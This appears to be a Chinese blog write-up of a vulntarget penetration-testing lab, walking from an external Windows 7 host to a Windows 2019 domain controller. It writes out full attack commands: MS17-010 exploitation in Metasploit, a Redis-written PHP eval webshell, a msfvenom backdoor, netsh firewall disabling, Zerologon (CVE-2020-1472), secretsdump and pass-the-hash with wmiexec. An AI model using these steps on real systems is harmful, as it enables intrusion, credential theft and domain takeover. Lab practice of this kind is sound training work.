目录
靶场介绍
网络拓扑图如下
这里我们本次渗透测试,外网Win7IP地址为192.168.127.91
靶机信息:
靶机 | 用户名 | 密码 |
Windows 7 | win7 | admin |
Windows 2016 | Administrator | Admin@123 |
vulntarget.com\win2016 | Admin#123 | |
Windows 2019 | administrator | Admin@666 |
靶机下载地址:https://github.com/crow821/vulntarget
1.获取win7权限
1.1信息收集
1.1.1使用nmap进行端口扫描
nmap -sC -sV 192.168.127.91 -p- -T4 -v
- -sC:表示使用常见脚本进行扫描,这将运行一组常见的脚本来探测目标主机。
- -sV:表示进行版本检测,nmap 将尝试探测目标主机上运行的服务的版本信息。
- 192.168.127.91:这是目标主机的 IP 地址,表示对该 IP 地址进行扫描。
- -p-:表示扫描所有的端口,这将扫描目标主机上的所有端口。
- -T4:表示设置扫描速度为快速(4),这意味着扫描将以较高的速度进行。
- -v:表示进行详细的输出,将显示更多的信息,包括扫描过程中的详细信息。
可以看到开放了445端口,猜测可能存在永恒之蓝漏洞,后面作为一个利用点进行尝试。访问80端口,发现是一个通达oa系统。
这里思路就多了,可以选择使用直接一把梭,或者多手工进行信息收集多收集一点东西。
访问/inc/expired.php,就可以得到该OA的版本信息,通过对应版本就可以找到历史漏洞,使用nday进行复现。
但是也不要忘记尝试进行弱口令测试,通过搜索对应的相关信息,发现目标疑似存在任意用户登陆以及文件包含、永恒之蓝等漏洞。
1.2攻击利用
1.2.1使用mfs17-010永恒之蓝漏洞
search ms17-010 //查找永恒之蓝漏洞
use 0 //使用第一个模块
set LHOST 192.168.127.129 //攻击机ip
set LPORT 5566 //设置监听端口
set RHOST 192.168.127.91 //目标主机(win7)IP地址
可以看到攻击成功,且权限为系统权限。还有一个内网ip地址:10.0.20.98
1.2.2使用历史存在过的漏洞进行复现
获取cookie信息,可以通过cookie进行任意用户登陆。
文件上传getshell:
使用哥斯拉进行连接:
细节来了,由于目标主机是windows,默认编码方式为GBK编码,不然输出的方式都很混乱。
进入,进行命令执行:
2.获取win2016的权限
2.1前期准备
通过获取的win7主机,先做一波进程迁移还有信息收集。
2.1.1进程迁移
当我们获得了shell后,该shel会话是很脆弱的,为了使连接稳定,我们就需要把进程绑定在一个稳定的进程上,不需要对磁盘进行操作。有两个好处,一来是渗透过程中更难被发现,二是渗透过程中连接更稳定。
使用以下命令:
run post/windows/manage/migrate
系统会自动寻找合适的进程并迁移
可以看到,进程从原来的1244进程迁移到了3248进程,
我们看看3248是什么进程
输入命令
ps
可以看到是一个记事本
2.1.2信息收集:
查看当前路由情况:
run get_local_subnets
添加一个路由表:
方法一:
run autoroute -s 10.0.20.0/24
方法二:
bg(background) //退出meterpreter会话
use post/multi/manage/autorouteset //
set session 1 //设置刚才会话的id
run //运行
回到我们的session会话中,通过sessions查看对应的id,再使用sessions -i id值进行会话操作。
sessions
sessions -i 1
查看路由表:
run autoroute -p
添加成功
2.1.3查询存活主机:
现在我们知道了10.0.20.98/24这个网段,对该内网网段进行扫描。
bg
use post/windows/gather/arp-scanner
set session 1
set rhost 10.0.20.1-254
run
发现了一台10.0.20.99网段的机器
2.2攻击利用
2.2.1开启socket5代理
bg
use auxiliary/server/socks_proxy
show optinos
run
可以看到,默认端口为1080。
2.2.2手动添加代理
sudo vim /etc/proxychains4.conf
在最下面修改
保存退出
回到msf会话中
sessions -i 1
arp -a
发现已经添加成功了。
对目标机windows2016进行端口扫描
proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1443,3306,3389,6379,8080
发现开放了80端口以及6379端口,
2.2.3对80端口进行尝试
这里本机主机添加代理进行连接。
可能存在概率存在phpmyadmin
2.2.3.1使用dirsearch爆破目录:
proxychains python dirsearch.py -u http://10.0.20.99 -i 200
目录扫描发现存在phpinfo.php,但是未找到有用的信息(但是后面就能用到啦)。
2.2.4利用redis未授权
这里直接对redis端口尝试进行利用:
proxychains4 redis-cli -h 10.0.20.99
发现我们获得了redis的控制台,写webshell需要以下条件
1.低版本或者enable-protected-config yes
2.知道网站绝对路径,并且需要增删改查权限
3.root启动redis
4.redis弱密码或者无密码
其中1、3、4我们可以直接黑盒测试,2中的绝对路径还不得而知,但是话又说回来,获取网站的绝对路径有哪些呢?
获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏。
刚才在80端口上,我们获得了phpinfo.php界面,上面可能存在绝对路径
还真有一个路径,现在对该路径进行构造利用,也需要猜测一下路径所在位置,这里我们将文件写在根目录下。
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename txx.php
set 1 "<?php @eval($_POST['txx']);?>"
save
使用哥斯拉进行连接。
2.2.5移动到msf
这里我们讲权限移到msf中,我们先通过msf生成一个木马,通过哥斯拉来运行,然后获取windows2016的权限
生成后门木马:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe >4444.exe
将生成的通过哥斯拉上传至windows2016中。
启动监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set RHOST 10.0.20.99
run
运行文件:
但是发现并没有获取权限,我哩个豆,不应该啊,网络也是通的,有种可能,防火墙是开着的,我们通过哥斯拉把防火墙关闭试试。
netsh firewall set opmode mode=disable
再运行4444.exe这个木马
获取了windows2016的权限!
2.2.6进程迁移
run post/windows/manage/migrate
收集主机信息:
sysinfo
收集同网段主机:
arp
只能看到10.0.10.110这个ip,对该IP进行渗透测试。
进入shell会话,将编码设置为65001(不然会出现乱码)
shell
chcp 65001
查看网卡信息:
ipconfig /all
我们可以通过DNS Server确定域控地址。
但是还有其他方式可以确定:
net time /domain
net group "domain controllers" /domain
ping vulntarget.com
net group "enterprise admins" /domain
但是毫无例外,我这儿使用这些命令都失效了(但是别人都可以使用),查找原因也不知道是什么,靶场设置也没动过,将靶场删了重新下载搭建重新弄还是不行,好崩溃啊!确定域控方式只能通过DNS Server了,DNS Server地址为10.0.10.110。
3.获取windows2019域控权限
3.1前期准备
添加路由
run post/multi/manage/autoroute
查看路由:
run autoroute -p
对域控主机进行端口扫描:
proxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139
可以看到,目标windows2019开放了80、139、445端口
3.2攻击利用
3.2.1.工具下载
下载impacket:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 -m pip install -r requirements.txt
python3 -m pip install .
下载CVE-2020-1472EXP
git clone https://github.com/dirkjanm/CVE-2020-1472.git
3.2.2测试开始
使用cve-2020-1472(内网大杀器)将密码置空:
proxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110
查看hash:
这里带了一个参数 -no-pass 因为刚才我们使用CVE-2020-1472将密码置空了。
proxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-pass
这里可以看到获取了很多hash,其中有一个叫做administrator的用户,一眼XX,鉴定为域管理员。使用smbexec进行横向移动,
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 Administrator@10.0.10.110
好崩溃啊!!!
做到这儿已经打算放弃了,使用了各种方法都不行,看到了有krbtgt用户的hash,可以做一个黄金票据。但是又突然想到了使用wmiexec试试。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110
利用成功了,但是最后阶段利用得好崩溃啊。为啥smbexec不可以,wmiecex就可以了?
带着疑问问了问其他人:
有可能是共享目录的问题,wmiexec横向移动不需要看共享目录(ipc),而smbexec需要。
两者使用的端口也不同,wmiexec使用的是135,smbexec使用的是445。
总结:
这个靶场是我第一个搭建在本地上的靶场,虽然中路有很多挫折,比如在前期配置外网网卡时候,发现DHCP一直分配不上ip地址,一直是168.254.X.X,好在后面及时发现问题,发现网卡设置错了。中途看着wp很多时候也不行,尝试了找错误找了很久,包括查资料,问大佬。不过最后大部分都还是解决了。主要还是一个带着疑问打靶场效率更高。
本次的渗透流程:
外网信息收集->nday获取win7权限/ms17-010获取win7权限->redis未授权访问获取windows2016权限->CVE-CVE-2020-1472大杀器获取域控的权限。